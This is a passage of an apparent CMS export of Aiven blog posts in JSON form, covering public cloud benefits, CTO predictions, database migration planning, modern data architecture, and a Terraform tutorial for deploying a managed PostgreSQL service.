a mad scramble for more servers. It’s pretty much down to luck. \n\nBrief usage peaks also mess with capacity requirements. If your service isn’t reachable at a time when lots of users want to access it, you lose goodwill that’s hard to build back up. At the same time, you don’t want to be paying for capacity that you’ll only use 1% of the time.\n\nA public cloud service lets you adjust your plan according to usage at short notice. You can easily add or drop capacity, and immediately reap the benefits.\n## 10. Easy to respond to changing business needs\nA public cloud service is flexible in ways other than capacity, too. Few companies and businesses stay the same over time. Disruptive change can occur overnight or in small increments, and proprietary systems add serious inertia. At best, it can compromise your company’s ability to react to change. At worst, it can be a major reason why you can’t be the one leading the change. \n\nIf you subscribe to a public open source service, you can adjust the type and scope of the service to match new business needs. And it won’t take long.\n## 11. New features available quickly\nAnother great characteristic of public cloud services is that they adopt the latest features and technologies very rapidly. This is especially true in the open source world. Proprietary solutions take their own sweet time in adopting new capabilities. The more closed the ecosystem is, the longer the features are in coming. \n\nIn a public cloud, you can pick and choose among the best new innovations. They can support your business model or even allow you to create your own business innovations on top.\n## 12. Global access out of the box\nA significant issue with on-premises setups and also with proprietary cloud solutions is how to provide access for a global user base. There are often security considerations in setting up firewalls and access control. Sometimes this results in a clunky mess of user groups and inter-site access points. \n\nPublic clouds are designed from the ground up for global access and easy user management. Their network of servers can accommodate users all over the world from day one.\n\n## Wrapping up\nWhen you invest in a proprietary system, bear in mind that you are carrying all the risk in that purchase. Those systems are pricey, too, so the risks are significant and real. \n\nTo reach your business goals faster with more flexibility and lower risk, subscribe to a public cloud service. You won’t regret it.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844-png","_type":"reference"}},"publishedAt":"2021-01-04T00:00:00.000Z","seo":{"metaDescription":"If your company is still “on-prem”, you might be missing out big time and paying too much for the privilege! Read why you should leap into the public cloud.","metaImage":{"alt":"","asset":{"_ref":"image-886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844-png","_type":"reference"}},"metaTitle":"12 reasons you(r boss) should choose a public cloud service"},"slug":{"_type":"slug","current":"/blog/12-reasons-you-should-choose-a-public-cloud-service"},"subtitle":"If your company is still “on-prem”, you might be missing out big time and paying too much for the privilege! Read why you should leap into the public cloud.","title":"12 reasons you(r boss) should choose a public cloud service"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4EwGrKk21LAfgMwBwWlc8Z","_rev":"7zkUzK17nyKradHQJFmKUU","_type":"post","_updatedAt":"2023-05-15T12:59:14Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"Here’s a snapshot of what I have in mind:\n\n## 1. Open source adoption will continue to accelerate\n\nThere’s no doubt that open source software made significant strides last year:\n\n__Doubling down on security:__ Microsoft, Google, IBM and other tech leaders [co-founded ](https://www.microsoft.com/security/blog/2020/08/03/microsoft-open-source-security-foundation-founding-member-securing-open-source-software/ \"Microsoft Joins Open Source Security Foundation\")the Open Source Security Foundation to provide visibility and resources to the security considerations for open source projects. \n\n__Fighting against COVID-19:__ When the pandemic started, the community reacted quickly by disseminating data under the open model and by creating dashboards and apps to track the progression of the virus. DP3T or Decentralized Privacy-Preserving Proximity Tracing, was designed in the open to ensure the right balance between privacy and effectiveness on tracking contact technology. And building on top of this technology, Apple and Google came together in the fight against COVID-19 by providing a common API to enable creation of standard applications by health authorities around the world. At the beginning of the pandemic, there was a surge of open hardware designs for ventilators and other critical equipment that was in short supply.\n\n__Combating climate change:__ The Linux Foundation also [launched](https://www.linuxfoundation.org/press-release/new-lf-climate-finance-foundation-to-host-open-source-initiative-to-address-climate-risk-and-opportunity-in-financial-sector/ \"Foundation to Host Open Source Initiative to Address Climate Risk and Opportunity in Financial Sector\") the LF Climate Finance Foundation, leveraging open source tools in an effort to combat climate change.\n\nWe’ll continue to see an accelerated rate of open source adoption in 2021. And the truth is, the benefits outweigh the difficult skill sets it takes to use these technologies. We still have a massive number of companies making the transition to the cloud, and open source will play a big role in that adoption during their digital transformations. Which leads me to my next prediction...\n\n## 2. The cloud market will experience both transformation and disruption\n\nIt’s difficult to talk about the cloud without mentioning some of the industry giants who power it. And in a year like 2021, it will be nearly impossible. [Forrester predicts](https://www.forrester.com/blogs/predictions-2021-cloud-computing-powers-pandemic-recovery/ \"Forrester Predictions 2021: Cloud Computing Powers Pandemic Recovery\") the global public cloud infrastructure market will balloon in 2021 – seeing 35% growth and reaching $120 billion. At Aiven, we’re interested to see if this estimate turns out to even be too low, since we’ve recently seen an enormous demand for public cloud usage – much of which can be attributed to the business agility benefits associated with cloud transformation.\n\nIt’s fair to assume that AWS, Azure and GCP will dominate the market, but we’re eager to see what other challengers like IBM and OVH have to offer. While it may seem unlikely, it will be interesting to see if any of the major cloud providers follow IBM and separate their cloud service from the rest of the business. \n\nAll this talk about public cloud growth means digital transformation is right there with it. Businesses are leaning on technologies that mesh well with cloud adoption. So similarly, we’ll see the growth of digital concepts and solutions like IoT and containerization skyrocket across various industries. The growth of IoT and smart devices will continue rapidly in 2021, dependent on where sensors are able to be placed and what kind of data we can collect and turn into additional insights. With everything being more connected, it is safe to assume continuous increase in demand for analytical capabilities.\n\n## 3. Made-to-measure databases will be in high demand \n\nThe onslaught of data in 2021 will reveal a vast need for made-to-measure databases. My colleagues and I agree – time series databases will be in high demand this year and will continue to be the fastest growing segment of databases going into 2021. While there is plenty of space for several successful entrants into the market, we’ll also see an increase in adoption of common standards like OpenTelemetry in this space. That said, the launch of our 9th managed service, [Aiven for M3](https://aiven.io/press/aiven-bets-on-time-series-with-release-of-first-of-kind-aiven-for-m3 \"Aiven for M3\"), was a prediction in and of itself – Aiven’s products reflect customer needs. \n\n## 4. Industries will lean on managed services more than ever \n\nAs we've seen in the recent years, the digitalization trend continues to reshape business and markets. The winners in this transformation are the most agile and adapting organizations. Demand for managed services will remain strong, and will play a key role in enabling resources being focused on the business critical tasks and development.\n\nConsumers increasingly expect to be able to place orders or conduct their business at any time of the day, putting pressure on maintaining service levels around the clock on every day of the year.\n\nHaving been named an IDC Innovator in 2020, Aiven is proud to be at the forefront of those who help manage greater and greater amounts of data demanded by the data driver business.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-15T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Our entire industry has seen exciting momentum already in Q1 of this year. Curious to know what you should keep on your radar in the months ahead? ","metaImage":{"alt":"","asset":{"_ref":"image-b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844-png","_type":"reference"}},"metaTitle":"CTO Predictions: Open Source, Cloud Growth \u0026 Beyond"},"slug":{"_type":"slug","current":"/blog/cto-predictions-the-future-of-open-source-cloud-growth-and-more"},"subtitle":"Our entire industry has seen exciting momentum already in Q1 of this year. Curious to know what you should keep on your radar in the months ahead? ","title":"CTO predictions – The future of open source, cloud growth and more"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3zm37hQBt5gPDMTPFPYi7g","_rev":"j5OhKGUVbND2aFEj9l9zPA","_type":"post","_updatedAt":"2023-05-16T11:23:03Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"If you're here, chances are that your database environment is no longer meeting your needs. Maybe you've been researching how to move your data and your functionality somewhere else. Perhaps you need more flexibility? Is the uptime not what it should be? The maintenance load getting to your team? Whatever the reason, you've concluded that you need a new managed database. Good, chances are we agree!\n\nBut slow down for a minute. Database migration is a complex process. Not only you need to ensure that the data is replicated correctly. You also need to minimize downtimes for your critical applications.\n## Five questions about moving to the cloud\nIt’s not possible to compare all the database migration tools in this blog. The 5 questions we're about to cover should help you in your research, and plan a migration that achieves your goals.\n### 1. What's the source and what's the target?\nAre you doing a homogeneous migration (same source and target database) or heterogeneous (different source and target databases) migration? This has implications for the amount of engineering and testing the process requires. \n\nIn a heterogenous migration, you may need to modify the SQL, migrate the code, convert schemas, and that's all in addition to the actual data migration.\n### 2. Can you handle downtime?\nYou can't do migration with zero downtime. That's a given. But with planning and fine-tuned timing, you can cut down on the length and mitigate the effects.\n\nIf you can't afford major downtime, plan a [blue-green strategy](https://stackoverflow.com/questions/45259589/whats-the-difference-between-red-black-deployment-and-blue-green-deployment), where the old and the new database instances run in parallel for a while. Do enough testing to to ensure the new database is working as expected. Then when everything is ready, close existing connections to the source databases and create new connections to the target databases. This switch is almost instantaneous. \n\nThe \"almost\" in the previous sentence means that some customers might experience issues. If this creeps you out, keep in mind the additional infrastructure costs of maintaining two databases. And of course the reasons you're switching in the first place!\n\nIf significant downtime is acceptable, you can make the switch without having two databases running at the same time. For example, you might not require data modification. There may be no need for schema changes. In this case, you can make the switch without any additional data infrastructure costs.\n### 3. Are changes needed to the application code?\nConsider if the state of the target database will be the same as the source database post migration. If not, it means spending more time and effort to make changes in application code.\n\nEspecially in heterogeneous database migrations, the schemas will be different the source and target databases. This will require changing your application queries. Be sure to budget time for this in advance.\n### 4. What support is available for your migration toolkit?\nThere might be different database migration tool options available. What is the level of maturity and the amount of support provided for a given tool? \n\nRemember, if things can go wrong (and they probably will), you'll need some help fighting the fire.\n\nThis help can take different forms. It may mean finding solid documentation for your migration toolkit. Or it may mean picking up the phone and troubleshooting your case with your managed service support. \n\nChoose the tool (and associated support) that’s right for your level of database migration expertise.\n### 5. Is your migration toolkit secure?\nConsider how the preferred tool handles data security during the migration process. Is the data encrypted in motion? \n\nAnd when everything's done, how do you safely destroy the data from the source database? Don't forget this important step. \n## Tip: an open source tool for moving PostgreSQL databases\nHere at Aiven we've created an open-source tool to easily migrate PostgreSQL databases. It helps in moving to Aiven from other database service providers, like AWS RDS, or from on-premises data centers. Check it out at [Aiven DB Migrate](https://github.com/aiven/aiven-db-migrate).  \n\nHowever, __the tool is not limited to Aiven services__ - feel free to use it for all your PG database migration needs!\n## Wrapping up\nIf you're ready to move to a different provider (hopefully [Aiven](https://console.aiven.io/signup/email) :D), this article listed some factors to consider. We hope you have a secure and effective migration!\n\nIf you've already gone through the database migration process and would like to share some tips, please [tweet to let us know](https://twitter.com/aiven_io)!\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts. \n\nAnd to get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688-png","_type":"reference"}},"publishedAt":"2022-05-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Wherever your database migration from on-prem to a managed cloud service starts, the big questions are pretty similar. Start figuring it out right here.","metaImage":{"alt":"","asset":{"_ref":"image-fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688-png","_type":"reference"}},"metaTitle":"Questions to Ask Before Migrating Your Database: A Guide"},"slug":{"_type":"slug","current":"/blog/5-good-questions-to-ask-before-moving-your-database"},"subtitle":"Wherever your database migration from on-prem to a managed cloud service starts, the big questions are pretty similar. Start figuring it out right here.","title":"5 good questions to ask before migrating your database (and answers too)"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4Xj27YSQq0uEIL5vRAWMsu","_rev":"2TBrbODd4ENN9GFOVLnjcb","_type":"post","_updatedAt":"2023-08-03T10:37:07Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Have you been to Venice? It’s *soooo* beautiful. There are hundreds of graceful bridges, countless churches and palaces from the awesome to the charming. The city's canals, filled with iconic gondolas, stir the heart. If you pick your time right, you can even do your sightseeing without being mobbed by thousands of other tourists. In fact, outside of the tourist season, it’s a very quiet city. \n\nLike… really quiet. \n\nThat’s because not a lot of people actually choose to live in Venice. The roads are uneven, the buildings aren’t readily wheelchair and pushchair accessible, the plumbing sucks and heating is hard to install in those old buildings. The scenic canals actually stink. What’s more, the city has to contend with regular flooding, getting more severe as climate change progresses. Don’t get me wrong, I love Venice, but the city that was once called the Queen of the Adriatic wouldn’t merit that title today.\n\nNow with that image in mind, think about your company’s data architecture. Are you seeing any similarities? Structures that no longer match your company’s modern needs? Stagnant information flows? Awkward routing between destinations? Cobbled-together data highways? If your data is living in a digital Venice, it’s time to make a change! \n## A look at classical data architecture\nData architecture refers to your data environment, and how it’s designed to store and move bytes of information to support your business goals. It encompasses the products and tools you use to manage data, as well as the processes designed to deliver that data to business users in ways and forms that are useful and convenient for them. \n\n(This is as opposed to a data platform, which is the database engine itself and the dataset creation framework. It's the hard technological core, if you will, of the data architecture.)\n\nThe classical take on data architecture is the data warehouse: a static structure designed by the IT department. It houses all the data that accumulates during business operations. If done well, it can provide tailored data streams for reporting and analysis purposes; if done poorly, a glorified data dump. In any case it needs a lot of maintenance and upgrading and it isn’t very flexible or responsive. \n\nIn classical data architecture, the focus falls on maintenance and day-to-day operations like server maintenance, upgrades and access management. There are limited resources for implementing business-driven changes. On a high level, this results in a lack of responsiveness to business requirements. The world moves on, while your business intelligence systems keep doing the same old thing. \n\nAnd that thing is old. No business can, nor should they try to, foresee what kind of system they’ll need in ten years’ time. The way to do good business is not to hazard guesses and bet money on them but to be responsive to change that is actually happening in the present moment.\n\nOn a more practical level, the lack of flexibility impacts what types of data can be ingested and the data sources that the system can utilize. With the classical approach, most data streams originate within the organisation. This is because using external data sources is complex and may pose security issues. \n\nA classic corporate warehouse can't really handle new types of data, like social media or IoT, that are expressed with nested structures. At least not well, and not without major reworking. Companies can choose between not using new datasets, or  building long pipelines to handle them. But pipelines are fragile, and a minimal change in the source data format can have a drastic impact downstream.\n\nBeing inflexible also means that it’s hard to use existing data for new purposes. As time goes on, you’ll discover the need for new types of analytics and outputs. Building on top of the current system will only take you so far.\n\n## Modern architecture for a modern world\nRebuilding an old data architecture into a modern one is hard. It means creating not just the technological infrastructure but also new processes, new tools, and a new culture for how data is conceptualized and utilized.\n\nNow that you’ve hopefully decided to invest your time and effort and funds more productively, it’s time to start planning. \n\nPlanning always starts by knowing where you’re going. Start with the needs of the people who use your data--customers and business users--and build back towards the data sources. Ask the users (or failing that, ask yourself on the users’ behalf) what they need in order to grow your business and be responsive. Ask customers what they want and need in the real world. Only then start thinking where you’ll get the data to do that.\n\nKeep your ultimate goal in mind every step of the way: an architecture that is \n- flexible\n- extendable\n- collaborative\n- resilient\n- secure\n- and simple to maintain.\n\nFor that, you want something that isn’t Renaissance Venice. Instead, how about implementing a lean, clean, minimalist design? And honestly, nothing is as lean, clean and minimalist as a managed open-source cloud-based database service designed by a company from Finland! \n\n### Secure base\nConsider security from two perspectives. Firstly, access rights: how you are planning to make sure that the right people, and only the right people, have access to the data that they need in a timely fashion. And secondly, how you plan to defend against outside attacks.\n\nIt is worth noting that [open source offers better security than proprietary solutions](https://medium.com/@mcccccc/is-open-source-software-more-reliable-or-secure-than-closed-source-software-5470732d7b90 \"Link to Medium.com article\"). It is true that there are several legitimate security concerns about outside attacks when using cloud services. However, they are counterbalanced by the advanced user management they usually offer. The risks are relatively easy to offset by [signing up with a managed open source cloud database like Aiven](https://console.aiven.io/signup \"Link to the Aiven free trial signup page\") who [takes security issues seriously](https://aiven.io/security-compliance \"Link to Aiven's security compliance page\") and can offer you a safe home base.\n### Flexible structures\nYou want your data architecture to be easily scalable and extendable to keep your business agile and responsive. A quality DBaaS gives you the freedom and flexibility to scale up and down with changing capacity needs. You also only pay for the capacity that you’re actually using. \n\nWith a DBaaS, too, or at least with Aiven, you can easily add more services to your plan. This lowers the threshold to try out new features and capabilities, staying on top of business trends. If not a managed service, at least go for open source. It leaves you much more freedom to build up a comprehensive service stack due to the absence of proprietary connectors and APIs.\n\nThe use case itself should govern the choice of the target datastore (usually a choice between relational and no-SQL key-value databases). Don’t be limited by what’s currently available at your company.\n### Functional design\nWith functional design in this context we mean an architecture that is easy to use and easy to maintain. \n\nYou want to enable your users to collaborate freely. They don't need any extra hassle about credentials and compatibility. Managed services typically offer SSO out of the box and all their services play nice together. This gives your users access to the entire ecosystem.\n\nAnd as to flexible data structures, having datastores that don’t need updating or downright break when data structures evolve is as functional as it gets. \n\nAnd as we may have mentioned before, [a managed cloud service like Aiven’s is unparalleled in terms of ease of maintenance load](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services \"Blog post: Database Admins shouldn't be afraid of managed services\").\n\n## Wrapping up\nDismantling your classically constructed (and beautiful!) corporate Venice may be rather heartbreaking. But when you do, you get to move to a contemporary environment. That modern space will be open, extendable, efficient, transparent, clean and above all built to match the needs of your business. You’ll be able to achieve your current goals more quickly and more cheaply. What’s more, you can change the direction of your business and reformulate new goals much more flexibly than before. Get off the gondola and board the managed open-source service speedboat now!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844-png","_type":"reference"}},"publishedAt":"2021-01-26T00:00:00.000Z","seo":{"metaDescription":"Ancient corporate data architectures do not support modern business goals. Modernize your data environment now.","metaImage":{"alt":"","asset":{"_ref":"image-4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844-png","_type":"reference"}},"metaTitle":"Building a modern data architecture"},"slug":{"_type":"slug","current":"/blog/building-a-modern-data-architecture"},"subtitle":"Ancient corporate data architectures do not support modern business goals. Modernize your data environment now.","title":"Building a modern data architecture"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5gTp13pYjOThOf6JmmuhGu","_rev":"dsxJlHxlnt5nZt5n1yRd7G","_type":"post","_updatedAt":"2023-06-08T12:10:39Z","authors":[{"_key":"7jvTwkcIsfjUdBxnDaw00U","_ref":"7jvTwkcIsfjUdBxnDaw00U","_type":"reference"}],"body":"In the dawn of prehistory, infrastructure teams managed their systems by physically logging into each machine. Nowadays, with Terraform, infra teams can make changes to entire datacenters at once with a few lines of configuration code, in a versionable, reproducible, and predictable way.\n\nFor example, you can use the [Aiven's CLI](https://github.com/aiven/aiven-client) to deploy a PostgreSQL database on GCP:\n\n```bash\n$ avn service create --service-type pg --plan startup-4 --cloud google-europe-west3 postgresql\n```\n\nAnd you can achieve the same with Terraform code:\n\n```hcl\nresource \"aiven_pg\" \"postgresql\" {\n  project                = \"my-project-name\"\n  service_name           = \"postgresql\"\n  cloud_name             = \"google-europe-west3\"\n  plan                   = \"startup-4\"\n}\n```\n\nLuckily, Aiven develops and maintains its own [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs). With it, users can manage their entire open source data infrastructure with Terraform.\n\nToday, our challenge is to get a **PostgreSQL database** up and running. Let's get to it. Here's the high-level process:\n\n1. [Configure your Aiven account](#1-configure-your-aiven-account)\n2. [Set up Terraform](#2-set-up-terraform)\n3. [Configure the Aiven Provider](#3-configure-the-aiven-provider)\n4. [Give me databases!](#4-give-me-databases)\n\n  Note: Terraform can be very picky about the resources it manages. If you create an Aiven service with Terraform, avoid changing it manually through other tools, like the Aiven Console or CLI.\n\n## 1. Configure your Aiven account\nFirst, you will need an Aiven API access token to authenticate with Terraform.\n\nLog in to the [Aiven platform](https://console.aiven.io/login). If you don't have an account, [sign up](https://console.aiven.io/signup) and take advantage of our free trial. It's worth it, I promise.\n\nThen you can follow [our documentation](https://help.aiven.io/en/articles/2059201-authentication-tokens) to generate your authentication token.\n\nAlso, note down your Project Name (located on the upper left side of the page).\n\n![project name](//cdn.sanity.io/images/sczeoy4w/production/58fe4790930f9ed69ba14795a7b608df886b7c36-788x268.png \"Project name\")\n\n## 2. Set up Terraform\nGo to the [Terraform page](https://www.terraform.io/downloads.html) and download the latest Terraform CLI for your platform – you're going to need version v0.13.0 or newer. You can check your installation by running the following command:\n\n```bash\n$ terraform version\nTerraform v0.15.3\n```\n\n## 3. Configure the Aiven Provider\nTerraform Providers are plugins that connect the power of Terraform with external services and cloud providers. We will now bootstrap our Terraform codebase using the Aiven Terraform Provider. Check the [official Aiven documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs) for more details on each resource.\n\nCreate a new directory for your project and add a file named `main.tf` with the content below:\n\n```hcl\nvariable \"aiven_api_token\" {\n  type = string\n}\n\nvariable \"aiven_project_name\" {\n  type = string\n}\n\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"2.1.12\" # check out the latest release in the docs page\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n\ndata \"aiven_project\" \"my_project\" {\n  project = var.aiven_project_name\n}\n```\n\nIn the two first blocks, we define variables to receive the previously created Aiven access token and Project Name. The next two blocks configure the Provider. Lastly, we use a [data source](https://www.terraform.io/docs/language/data-sources/index.html) to retrieve all the information regarding the project.\n\nNote: You can also create Aiven Projects with the `aiven_project` resource.\n\nCreate another file named `terraform.tfvars` to add the Aiven access token and Project Name:\n\n```hcl\naiven_api_token    = \"your_access_token_here\"\naiven_project_name = \"your_project_name_here\"\n```\n\nFinally, initialize Terraform (command output shortened for brevity):\n\n```bash\n$ terraform init\n```\n\n## 4. Give me databases!\nAlright, enough setup, Let's deploy some databases, starting with [Aiven for PostgreSQL](https://aiven.io/postgresql).\n\n**Beware!** Terraform is exceptionally efficient in creating *and destroying* resources. With databases, every resource removal may result in data loss. In a production environment, read the Terraform plan output carefully before applying it.\n\nFirst, we will add the `aiven_pg` resource in the `main.tf` file:\n\n```hcl\nresource \"aiven_pg\" \"postgresql\" {\n  project                = data.aiven_project.my_project.project\n  service_name           = \"postgresql\"\n  cloud_name             = \"google-europe-west3\"\n  plan                   = \"startup-4\"\n\n  termination_protection = true\n\n  pg_user_config {\n    pg_version = 13\n    admin_username = \"admin\"\n\n    pgbouncer {\n      autodb_max_db_connections = 200\n    }\n  }\n}\n\noutput \"postgresql_service_uri\" {\n  value     = aiven_pg.postgresql.service_uri\n  sensitive = true\n}\n```\n\nHere, we have configured the database location, size and parameters. The Aiven website tells you [more about clouds, plans and pricing](https://aiven.io/pricing) and all the PostgreSQL related configurations can be found in the [official Terraform documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/pg).\n\nAlso, the `termination_process` parameter guarantees that Terraform won't delete the resource until the user sets the flag to `false`.\n\nAt the end, Terraform will output the PostgreSQL connection string.\n\nIn your terminal run `terraform plan` and see what it will create for us:\n\n```bash\n$ terraform plan\n[...]\n\nTerraform will perform the following actions:\n\n  # aiven_pg.postgresql will be created\n  + resource \"aiven_pg\" \"postgresql\" {\n      + cloud_name             = \"google-europe-west3\"\n      + components             = (known after apply)\n      + id                     = (known after apply)\n      + plan                   = \"startup-4\"\n      + project                = \"your_project_name_here\"\n      + service_host           = (known after apply)\n      + service_name           = \"postgresql\"\n      + service_password       = (sensitive value)\n      + service_port           = (known after apply)\n      + service_type           = (known after apply)\n      + service_uri            = (sensitive value)\n      + service_username       = (known after apply)\n      + state                  = (known after apply)\n      + termination_protection = true\n\n      + pg {\n          + dbname      = (known after apply)\n          + host        = (known after apply)\n          + password    = (sensitive value)\n          + port        = (known after apply)\n          + replica_uri = (sensitive value)\n          + sslmode     = (known after apply)\n          + uri         = (sensitive value)\n          + user        = (known after apply)\n        }\n\n      + pg_user_config {\n          + admin_username = \"admin\"\n          + pg_version     = \"13\"\n\n          + pgbouncer {\n              + autodb_max_db_connections = \"200\"\n            }\n        }\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n  + postgresql_service_uri = (sensitive value)\n\nNote: You didn't use the -out option to save this plan, so Terraform can't guarantee to take exactly these actions if you run \"terraform apply\" now.\n```\n\nThe command output tells how the Terraform plan looks like and what changes will be made. Please, for all that is holy, do a sanity check before applying it with the next command:\n\n```bash\n$ terraform apply\n[...]\n\naiven_pg.postgresql: Creating...\naiven_pg.postgresql: Creation complete after 4m38s [id=my_project/postgresql]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\npostgresql_service_uri = \u003csensitive\u003e\n```\n\nAwesome, our PostgreSQL is up and running. Now let's try to access it with `psql` using the `postgresql_service_uri` output:\n\n```bash\n$ psql \"$(terraform output -raw postgresql_service_uri)\"\npsql (13.2)\nSSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)\nType \"help\" for help.\n\ndefaultdb=\u003e\n```\n\nThis is everything you need to have a production-ready PostgreSQL server at GCP, managed by Aiven and deployed with code. Cool, right?!\n\nNext, read the sequel [Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana\")!\n\n## Wrapping up\nI hope you enjoyed this ride with me. Terraform and infrastructure as code can be daunting at first, but once we see all of its benefits, it's hard to move away from it.\n\nPlease check [Aiven's Terraform GitHub repository](https://github.com/aiven/terraform-mgmt-sample) to see the whole code and any future updates for it.\n\nIf you want to learn more about the tools and services used here, make sure to check the links below:\n\n- [An introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n- [Introduction to Terraform](https://www.terraform.io/intro/index.html)\n\nIf you have any issues with Aiven's Terraform Provider or want to help us improve it, please check the [GitHub repository](https://github.com/aiven/terraform-provider-aiven) and the [official documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e94c3169e42d626342b5242a122545e3df2f7661-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-03T00:00:00.000Z","seo":{"metaDescription":"Terraforming is hard and long-term, but using Terraform is the exact opposite. Read to find out how to manage your Aiven databases with this cool tool!","metaImage":{"alt":"","asset":{"_ref":"image-e94c3169e42d626342b5242a122545e3df2f7661-1567x844-png","_type":"reference"}},"metaTitle":"Aiven databases and Terraform for fun and profit"},"slug":{"_type":"slug","current":"/blog/aiven-databases-and-terraform-for-fun-and-profit"},"subtitle":"Terraforming is hard and long-term, but using Terraform is the exact opposite. Read to find out how to manage your Aiven databases with this cool tool!","title":"Aiven databases and Terraform for fun and profit"}
